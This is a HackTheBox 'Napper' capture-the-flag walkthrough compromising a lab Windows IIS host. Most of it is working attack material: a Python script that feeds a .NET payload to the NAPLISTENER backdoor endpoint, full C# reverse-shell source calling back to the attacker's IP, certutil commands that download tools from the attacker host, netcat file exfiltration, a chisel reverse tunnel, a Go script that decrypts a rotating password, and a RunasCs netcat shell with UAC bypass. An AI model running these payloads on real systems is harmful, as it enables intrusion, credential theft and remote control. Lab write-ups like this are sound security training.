Napper – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Hard
  • Platform: HackTheBox

‘Napper’ Avatar

User Link to heading

Nmap scan shows only 3 ports open: 80 HTTP, 443 HTTPs, 7680 an unknown service

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.240 -oG allPorts

Nmap scan report for 10.10.11.240
Host is up, received user-set (0.18s latency).
Scanned at 2024-04-26 17:43:11 -04 for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE   REASON
80/tcp   open  http      syn-ack ttl 127
443/tcp  open  https     syn-ack ttl 127
7680/tcp open  pando-pub syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.78 seconds
           Raw packets sent: 131085 (5.768MB) | Rcvd: 21 (924B)

and checking their versions:

❯ sudo nmap -sVC -p80,443,7680 10.10.11.240 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 17:44 -04
Nmap scan report for 10.10.11.240
Host is up (0.20s latency).

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp  open  ssl/http   Microsoft IIS httpd 10.0
|_http-title: Research Blog | Home
| tls-alpn:
|_  http/1.1
| http-methods:
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after:  2033-06-04T14:58:55
|_http-generator: Hugo 0.112.3
|_ssl-date: 2024-04-26T21:45:22+00:00; +4s from scanner time.
|_http-server-header: Microsoft-IIS/10.0
7680/tcp open  pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.24 seconds

From the scan I see that site connections to port 80 redirects to app.napper.htb. So I add that domain, and also napper.htb, to my /etc/hosts file:

❯ sudo echo '10.10.11.240 napper.htb app.napper.htb' >> /etc/hosts

After adding the domain to /etc/hosts file, if we visit https://app.napper.htb we can see a kind of a blog page:

Napper 1

The site presents a lot of info about Reverse Engineering, so it might be a hint about what we will have to do later.

In this site there are a lot of explanations about how to create your own SSL certificate using Powershell. One of the post named Enabling Basic Authentication on IIS Using PowerShell: A Step-by-Step Guide (located at the second page of the blog) is interesting. There we have a lot of info:

Napper 2

At step 6 of this post, there is an info for a default username and password:

Napper 3

that says:

New-LocalUser -Name "example" -Password (ConvertTo-SecureString -String "ExamplePassword" -AsPlainText -Force)

so we have some default credentials example:ExamplePassword.

Analyzing the other posts does not show more relevant data.

At this point I decide to check for vhosts using ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://napper.htb/ -H 'Host: FUZZ.napper.htb' -fl 187

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://napper.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.napper.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 187
________________________________________________

internal                [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 419ms]
:: Progress: [4989/4989] :: Job [1/1] :: 127 req/sec :: Duration: [0:00:36] :: Errors: 0 ::

and we get a new domain: internal.napper.htb

So I add internal.napper.htb in the same line where app.napper.htb and napper.htb are, so my /etc/hosts file finally looks like:

❯ cat /etc/hosts

127.0.0.1       localhost
127.0.1.1       kali.gunzf0x    kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.10.11.240 app.napper.htb napper.htb internal.napper.htb

If we visit https://internal.napper.htb it immediately asks for credentials:

Napper 4

What if this site uses the credentials set by default in the post example previously found?

I try to log in with credentials example:ExamplePassword and they work! Once in we can see the same type of blog page, but with a different post:

Napper 5

Clicking on Read more in the only post in the page shows some info about a malware from a Microsoft .NET (C#) sample:

Napper 6

The site has some notes, like “What we know so far”:

[...] HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection.  [...]

and “In the sandbox I can’t find the url”:

This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.

and also some “Logs”:

* 2023-04-24: Did some more reading up. We need to look for some URL and a special parameter
* 2023-04-23: Starting the RE process. Not sure on how to approach.
* 2023-04-22: Nothing seems to be showing up in the sandbox, i just startes and stops again. Will be testing local
* 2023-04-22: Got the copy of the backdoor, running in sandbox

One of the references shared on the post is this security Elastic post. Based on the info provided on both posts, it makes a request to an endpoint /ews/MsExgHealthCheckd/ with base64 data through a parameter called sdafwe3rwe23.

If an infected file is running, then we might able to send data to and endpoint /ews/MsExgHealthCheckd/ with parameter sdafwe3rwe23. First, I check with Burpsuite if this endpoint works:

Napper 7

and it works since it returns code 200 status.

In Elastic security post they provide a Python script, which I adapted to:

#!/usr/bin/python3
import requests
import argparse
import warnings
import sys
import signal

### For the payload remember to create a payload first in C# from revshells.com
### then base64 encode it with "base64 -w0 ./file.exe"
### and pass that encoded payload to this script


# Ctrl+C
def signal_handler(sig, frame)->None:
    print(f"[!] Ctrl+C! Exiting...")
    sys.exit(0)


# Capture Ctrl+C
signal.signal(signal.SIGINT, signal_handler)


def check_if_https_in_url(url: str, port: int)->str:
    """
    Check the 'target' argument the user has provided
    """
    if not url.startswith('https://') and not url.startswith('http://'):
        return f"https://{url}:{port}"
    return f"{url}:{port}"


def parse_arguments()->argparse.Namespace:
    parser = argparse.ArgumentParser(description='Process some integers.')
    parser.add_argument('-t', '--target', help='Target IP address. Example: https://10.10.10.10', required=True, type=str)
    parser.add_argument('-c', '--command', help='Encoded base64 command to run on the victim machine.', type=str, required=True)
    parser.add_argument('-p', '--port', help='Port exposing the service. Default: 443', type=int, default=443)
    parser.add_argument('--show-warnings', action='store_false', help='Show warnings (if there are).')
    args = parser.parse_args()
    return args


def make_request(args: argparse.Namespace)->None:
    # Set generic headers
    req_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1", "Te": "trailers", "Content-Type": "application/x-www-form-urlencoded"}
    # Set the target to post data
    url = check_if_https_in_url(args.target, args.port)
    post_url: str = f"{url}/ews/MsExgHealthCheckd/"
    # Set the data that will be posted
    post_data = {'sdafwe3rwe23': args.command}
    print(post_data)
    if len(args.command) < 100:
        print(f"[+] Making a request to {post_url!r} with command {args.command!r}...")
    else:
        print(f"[+] Making a request to {post_url!r} with provided command...")
    try:
        r = requests.post(post_url, headers=req_headers, data=post_data, verify=False, allow_redirects=False)
        if r.status_code != 200:
            print(f"[!] Status code {r.status_code!r}...")
            sys.exit(1)
    except Exception as e:
        print(f"[!] An error ocurred:\n{e}")
    print(f"[+] Command succesfully executed...")


def main()->None:
    args = parse_arguments()
    # By default, ignore all warnings (related to unsecure SSL connections)
    if args.show_warnings:
        warnings.filterwarnings("ignore")
    make_request(args)


if __name__ == "__main__":
    main()

Now, if we run it using a Powershell (Base64) payload from Reverse Shell Generator site (https://www.revshells.com/) nothing happens.

We can try another payload from that page like C# TCP Client. If we go there, add our attacker IP address, listening port and select CMD as the shell type we have a code like:

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
	public class Program
	{
		static StreamWriter streamWriter;

		public static void Main(string[] args)
		{
			using(TcpClient client = new TcpClient("10.10.16.6", 443))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);
						
						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

	}
}

where 10.10.16.6 is my attacker IP and 443 is the port I will start listening with netcat

However, this code by itself will not work. We have to modify this code changing 2 things:

  1. We have to create a namespace (a container used to organize code elements in C# such as classes, structs, interfaces,etc) with the same name of the file itself. So, for example, if we call our namespace like payload our file should be payload.cs
  2. Add a Run class to the code.

Adding these both modifications to the original payload code creates a new file, which I will call payload.cs as:

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

namespace payload
{
	public class Run
	{
		static StreamWriter streamWriter;

		public Run()
		{
			using(TcpClient client = new TcpClient("10.10.16.6", 443))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);

						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							strInput.Append(rdr.ReadLine());
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		public static void Main(string[] args)
		{
			new Run();
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }
	}
}

To compile this .cs file we will use Mono C# Compiler (MCS) in our attacker machine. First install it with:

❯ sudo apt install mono-devel -y

Then compile the payload.cs file running:

❯ mcs -out:payload.exe payload.cs

Now, we can pass this binary to text. Since the parameter sdafwe3rwe23 from the detected endpoint receives base64 code, we can pass the binary to base64:

❯ base64 -w0 payload.exe

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAAAgELAQgAAAoAAAAGAAAAAAAAfigAAAAgAAAAQAAAAAB<SNIP>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Finally, I start a netcat listener on port 443 and pass this payload as --command to my modified Python script:

❯ python3 naplistener_exploit.py -t https://napper.htb -c 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAAAgELAQgA<SNIP>AAAAAAAAAAAAA'

and in my netcat listener I get a shell as ruben user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.240] 50716
Microsoft Windows [Version 10.0.19045.3636]
(c) Microsoft Corporation. All rights reserved.
whoami
C:\Windows\system32>whoami
napper\ruben

where we can get the flag at C:\Users\ruben\Desktop\ directory

NT Authority/System - Administrator Link to heading

Using systeminfo shows:

C:\Temp\www\internal\content\posts\internal-laps-alpha>systeminfo | findstr "System OS"

OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19045 N/A Build 19045
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
System Boot Time:          4/26/2024, 2:40:20 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
BIOS Version:              VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
System Directory:          C:\Windows\system32
System Locale:             en-us;English (United States)

so it is a Windows 10 with 64-bits architecture.

To start with, I will transfer Winpeas to the victim machine. For this I download winPEASx64.exe from its official repository. Once downloaded, I start a Python HTTP server on port 8081 where this file is located:

❯ python3 -m http.server 8081

and in the victim machine I use certutil to download it at C:\Users\Public\Downloads directory to avoid permission issues:

C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6:8081/winpeas.exe .\winpeas.exe

****  Online  ****
  000000  ...
  246e00

Once downloaded I run it:

C:\Users\Public\Downloads>.\winpeas.exe

ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
<SNIP>
File Permissions "C:\Temp\www\internal\content\posts\internal-laps-alpha\a.exe": Authenticated Users [WriteData/CreateFiles]
<SNIP>

there is a directory at C:\Temp\www\internal\content\posts\interal-laps-alpha\ that allows us to write and read files.

Visiting this directory and seeing its content shows a .env file:

C:\Temp\www\internal\content\posts\internal-laps-alpha>dir

 Volume in drive C has no label.
 Volume Serial Number is CB08-11BF
 Directory of C:\Temp\www\internal\content\posts\internal-laps-alpha
06/09/2023  12:28 AM    <DIR>          .
06/09/2023  12:28 AM    <DIR>          ..
06/09/2023  12:28 AM                82 .env
06/09/2023  12:20 AM        12,697,088 a.exe
               2 File(s)     12,697,170 bytes
               2 Dir(s)   4,596,809,728 bytes free

and checking its content:

C:\Temp\www\internal\content\posts\internal-laps-alpha>type C:\Temp\www\internal\content\posts\internal-laps-alpha\.env

ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here
ELASTICURI=https://127.0.0.1:9200

I decide to analyze the file a.exe since it was in the same directory as .env file. To transfer this file I decide to pass nc64.exe (netcat for Windows) using certutil after starting a Python HTTP server on my local machine on port 8081:

C:\Temp\www\internal\content\posts\internal-laps-alpha>certutil.exe -urlcache -split -f http://10.10.16.6:8081/nc64.exe C:\Users\Public\Downloads\nc.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Once the netcat binary for Windows has been transferred, on my local machine I start a listener on port 444 and save all the output as a.exe:

❯ nc -lvnp 444 > a.exe

In the target machine I run:

C:\Users\Public\Downloads>.\nc.exe 10.10.16.6 444 < C:\Temp\www\internal\content\posts\internal-laps-alpha\a.exe

and I get a connection on my machine:

❯ nc -lvnp 444 > a.exe

listening on [any] 444 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.240] 50788

After a couple of minutes I kill this process with Ctrl+C on my machine and check that the file has been transferred. I also check md5sum hash to verify that files are the same. In my machine I run:

❯ md5sum a.exe

48d1065d3d1b2920f530117e3389ef1a  a.exe

and in target machine I run:

C:\Users\Public\Downloads>certutil -hashfile C:\Temp\www\internal\content\posts\internal-laps-alpha\a.exe MD5

MD5 hash of C:\Temp\www\internal\content\posts\internal-laps-alpha\a.exe:
48d1065d3d1b2920f530117e3389ef1a
CertUtil: -hashfile command completed successfully.

where I see that both hashes are the same, so the file has been transferred successfully.

To analyze this with Ghidra we will have to install a Go binary decompiler, since this file is written in Go programming language. For that we can download this extension (for your current Ghidra version), open Ghidra and then go to File -> Install Extensions -> Add Extensions and select the downloaded .zip file. So we can now analyze this file.

After analyzing the file, it is getting the credentials from .env for a user elastic:

Napper 8

and setting a password for a user backup:

Napper 9

But I was not able to get the password itself for this user. So after some frustration I decide to analyze the elasticsearch directory installed at the machine

C:\Windows\system32>cd C:\Program Files\
dir
C:\Program Files>dir
 Volume in drive C has no label.
 Volume Serial Number is CB08-11BF
 Directory of C:\Program Files
10/29/2023  10:43 AM    <DIR>          .
10/29/2023  10:43 AM    <DIR>          ..
06/07/2023  06:39 AM    <DIR>          Common Files
06/08/2023  03:20 AM    <DIR>          elasticsearch-8.8.0
11/07/2023  07:27 AM    <DIR>          Internet Explorer
11/07/2023  06:47 AM    <DIR>          Microsoft Update Health Tools
12/07/2019  02:14 AM    <DIR>          ModifiableWindowsApps
10/29/2023  10:00 AM    <DIR>          Reference Assemblies
10/29/2023  10:43 AM    <DIR>          RUXIM
06/07/2023  06:40 AM    <DIR>          VMware
11/07/2023  07:27 AM    <DIR>          Windows Defender
11/07/2023  07:27 AM    <DIR>          Windows Defender Advanced Threat Protection
11/07/2023  07:27 AM    <DIR>          Windows Mail
12/07/2019  02:54 AM    <DIR>          Windows Multimedia Platform
12/07/2019  02:50 AM    <DIR>          Windows NT
11/07/2023  07:27 AM    <DIR>          Windows Photo Viewer
12/07/2019  02:54 AM    <DIR>          Windows Portable Devices
12/07/2019  02:31 AM    <DIR>          Windows Security
12/07/2019  02:31 AM    <DIR>          WindowsPowerShell
               0 File(s)              0 bytes
              19 Dir(s)   4,592,324,608 bytes free

So there’s an elasticsearch-8.8.0 directory. After looking all the directories I finally find the directory C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index that has some weird files on it:

C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index>dir

 Volume in drive C has no label.
 Volume Serial Number is CB08-11BF
 Directory of C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index
04/26/2024  08:41 PM    <DIR>          .
04/26/2024  08:41 PM    <DIR>          ..
04/26/2024  08:41 PM               479 segments_8n
06/08/2023  03:20 AM                 0 write.lock
04/26/2024  08:36 PM               575 _ny.cfe
04/26/2024  08:36 PM            11,412 _ny.cfs
04/26/2024  08:36 PM               364 _ny.si
04/26/2024  08:41 PM             3,349 _ny_1.fnm
04/26/2024  08:41 PM                87 _ny_1_Lucene90_0.dvd
04/26/2024  08:41 PM               160 _ny_1_Lucene90_0.dvm
04/26/2024  08:41 PM               575 _nz.cfe
04/26/2024  08:41 PM             5,020 _nz.cfs
04/26/2024  08:41 PM               327 _nz.si
04/26/2024  08:41 PM               575 _o1.cfe
04/26/2024  08:41 PM            11,412 _o1.cfs
04/26/2024  08:41 PM               364 _o1.si
              14 File(s)         34,699 bytes
               2 Dir(s)   4,591,738,880 bytes free

Based on their size, files _o1.cfs and _ny.cfs looks interesting. If we read them searching for passstring into the file _o1.cfs, it shows something interesting:

C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index>type _o1.cfs | findstr pass
vc1^3H`YV`^\]MY≡"√&àÜêjôñµ╡°ªû≥Γ{"doc_type":"api_key","creati²on_time":1686219630330,"expir 3214 H≥_invalidated":false,dPey_ha≡Osh":"{PBKDF2}10000$EVlYHJWcRa4vrNNXnZJBZz4C+xGF0H/kwh8O8sZVIvE=$LjOO6DC1KVFxv5H8vQpqzoXANMUW85≥p1S/6EwkvdCto=","role_descriptors":{+±e_enrollment_tokenuster":["c
                                                                                                                                    └:admin/xpack≤$/security/enroll/kibana"],"indices":[],"applicationSrun_a
                                               ßmetadata":{},"kP:"rol≡%e"}},"limited_by_role_descriptors":{"_xpack_security≡cluster":["all"],"indices":[{"names":["*"],"privileges":["all≡allow_restricted_indic#≡true}],"application9Ç],"run_a
                                                                                  `"*"],"≤metadata":{"_reserved":true},"5└role"}},"namE≡enrollment_token_APIV≡_-iaFmogBapOk5rX4≤"ppbr","version":8080099,"metadata_flattened":null9≡or":{"principal":"_xpack_security","fu⌠ll_name":null,"email
≤metadata":{},"realm":"__attach"Z░}} reserv≤5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[≡reserved-user"}Φ

                                                                                                                                    role-user1╪{"cluster":["monitor"],"indices":[{"names":["seed","user*"],"privileges":["read","monitor","write","index","create_index"],"allow_restricted_indices":false}],"applications":[],"run_as":[],"metadata":{},α"type":"role"}╔
 user-usper║{"  Éname":"us≡er","password":"$2a$≡10$YXB6/d2BeKMQEsRwO≡c02AeM4ZWhJdaKSLj2Yi≡WJmuqs3exTM0lYqW","rÇoles":["Ç1"],"ful≡l_name":null,"email"≡:null,"metadata":nul≡l,"enabled":true,"ty░pe":"user"}└(ôΦ≈ ab?╫lLucene90DocValuesMetadata<ⁿtW½ÄÿmU╠
                                                                                            Σmíi£

where I can see eserv≤5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[≡reserved-user"}. So we might have a password and a user: elastic:oKHzjZw0EGcRxT2cux5K.

If now I search for open ports inside the machine, I get more than the 3 exposed one from the initial Nmap scan:

C:\>netstat -an | findstr "TCP" | findstr "LISTENING"

  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:61018          0.0.0.0:0              LISTENING
  TCP    10.10.11.240:139       0.0.0.0:0              LISTENING
  TCP    127.0.0.1:9200         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:9300         0.0.0.0:0              LISTENING
  TCP    [::]:80                [::]:0                 LISTENING
  TCP    [::]:135               [::]:0                 LISTENING
  TCP    [::]:443               [::]:0                 LISTENING
  TCP    [::]:445               [::]:0                 LISTENING
  TCP    [::]:49664             [::]:0                 LISTENING
  TCP    [::]:49665             [::]:0                 LISTENING
  TCP    [::]:49666             [::]:0                 LISTENING
  TCP    [::]:49667             [::]:0                 LISTENING
  TCP    [::]:61018             [::]:0                 LISTENING

A quick googling says that Elasticsearch runs on ports 9200 and 9300, which is the case. So we have to find a way to reach those internal ports. For this I will pass a Chisel binary for Windows with certutil as I have done previously for other binaries. Then, on my machine I run:

❯ chisel server -p 8000 --reverse

and in target machine I run:

C:\Users\Public\Downloads>.\chisel.exe client 10.10.16.6:8000 R:9200

So now if I visit https://127.0.0.1:9200 it spawns a login window, that I fill with credentials elastic:oKHzjZw0EGcRxT2cux5K found previously. Napper 10

And they work. I can see the site and some info for backup user:

Napper 11

where I can see a hash and other information.

If we visit https://127.0.0.1:9200/_search I can see a blob variable: Napper 12

I note that the blob changes periodically, so saving it is not worth it. Apparently, it is a scripted password that constantly changes based on these values.

But we need the backup user password. For that we can try a Go script to decrypt the message based on the provided keys (based on this code) and try to obtain the password:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"math/rand"
	"os/exec"
	"strconv"
	"strings"
)

func getSeed() (int64, string, error) {
	cmd := exec.Command(
		"curl",
		"-i", "-s", "-k", "-X", "GET",
		"-H", "Host: localhost:9200",
		"-H", "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
		"-H", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
		"-H", "Accept-Language: en-US,en;q=0.5",
		"-H", "Accept-Encoding: gzip, deflate",
		"-H", "Dnt: 1",
		// This is the encoded 'oKHzjZw0EGcRxT2cux5K' found password
		"-H", "Authorization: Basic ZWxhc3RpYzpvS0h6alp3MEVHY1J4VDJjdXg1Sw==",
		"-H", "Upgrade-Insecure-Requests: 1",
		"-H", "Sec-Fetch-Dest: document",
		"-H", "Sec-Fetch-Mode: navigate",
		"-H", "Sec-Fetch-Site: none",
		"-H", "Sec-Fetch-User: ?1",
		"-H", "Te: trailers",
		"-H", "Connection: close",
		"-b", "i_like_gitea=1bcfba2fb61ea525; lang=en-US",
		"https://localhost:9200/_search?q=*&pretty=true",
	)

	output, err := cmd.CombinedOutput()
	if err != nil {
		return 0, "", nil
	}

	outputLines := strings.Split(string(output), "\n")
	var seedStr string
	for _, line := range outputLines {
		if strings.Contains(line, "seed") && !strings.Contains(line, "index") {
			seedStr = strings.TrimSpace(strings.Split(line, ":")[1])
			break
		}
	}

	seed, err := strconv.ParseInt(seedStr, 10, 64)
	if err != nil {
		return 0, "", nil
	}

	outputLines = strings.Split(string(output), "\n")
	var blob string
	for _, line := range outputLines {
		if strings.Contains(line, "blob") {
			blob = line
			blob = strings.TrimSpace(strings.Split(line, ":")[1])
			blob = strings.Split(blob, "\"")[1]
			break
		}
	}

	return seed, blob, nil
}

func generateKey(seed int64) []byte {
	rand.Seed(seed)
	key := make([]byte, 16)
	for i := range key {
		key[i] = byte(1 + rand.Intn(254))
	}
	return key
}

func decryptCFB(iv, ciphertext, key []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	stream := cipher.NewCFBDecrypter(block, iv)
	plaintext := make([]byte, len(ciphertext))
	stream.XORKeyStream(plaintext, ciphertext)

	return plaintext, nil
}

func main() {
	seed, encryptedBlob, _ := getSeed()

	key := generateKey(seed)

	decodedBlob, err := base64.URLEncoding.DecodeString(encryptedBlob)
	if err != nil {
		fmt.Println("Error decoding base64:", err)
		return
	}

	iv := decodedBlob[:aes.BlockSize]
	encryptedData := decodedBlob[aes.BlockSize:]

	decryptedData, err := decryptCFB(iv, encryptedData, key)
	if err != nil {
		fmt.Println("Error decrypting data:", err)
		return
	}

	fmt.Printf("Key: %x\n", key)
	fmt.Printf("IV: %x\n", iv)
	fmt.Printf("Encrypted Data: %x\n", encryptedData)
	fmt.Printf("Decrypted Data: %s\n", decryptedData)
}

So this script works as follows:

  1. Makes an HTTP request using the providing credentials we have found, but the password is in base64.
  2. Gets the fields for decrypting the key, as can be similar to these scripts.

Decrypted data will be the password for the user backup, since, as we can see, the user is present on the target machine:

C:\>net users

User accounts for \\NAPPER
-------------------------------------------------------------------------------
Administrator            backup                   DefaultAccount
example                  Guest                    ruben
WDAGUtilityAccount

For example, if we run the script once, I can obtain:

❯ go run main.go

Key: 1c569fd87440c4de3d7cad9b6ec42853
IV: 141a38d86942b6b88f61302fcb347c4c
Encrypted Data: 170b2aa35a81a3d2c96fd7d02364647d002d3019efe6b1c0632647919d1214ba9a7d16adaa98c4fb
Decrypted Data: elmqJKWpMlVxlvXwcwGeYaPNrBIJUxDhGsdxbPUL

where, before it changes, elmqJKWpMlVxlvXwcwGeYaPNrBIJUxDhGsdxbPUL is the password

However, we do not have any service available to use tools like Impacket or evil-winrm. So we can use RunasCs (which can be downloaded from its Github repository) along with netcat binary file we have previously uploaded to pivot to another user inside the machine. I unzip the pre-builded file, pass RunasCs to the target machine and save it at C:\Temp\www\internal\content\posts\internal-laps-alpha directory with certutil:

C:\Temp\www\internal\content\posts\internal-laps-alpha>certutil.exe -urlcache -split -f http://10.10.16.6:8081/RunasCs.exe C:\Temp\www\internal\content\posts\internal-laps-alpha\runascs.exe

****  Online  ****
  0000  ...
  ca00
CertUtil: -URLCache command completed successfully.

Finally, I run RunasCs along with netcat binary, after starting listening with netcat on port 443 on my machine, with:

C:\Temp\www\internal\content\posts\internal-laps-alpha>runascs.exe backup elmqJKWpMlVxlvXwcwGeYaPNrBIJUxDhGsdxbPUL "C:\Users\Public\Downloads\nc.exe 10.10.16.6 443 -e C:\Windows\System32\cmd.exe" -t 10 --bypass-uac

and I get a shell as backup user, who has full privileges (so it is an equivalent to Administrator):

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
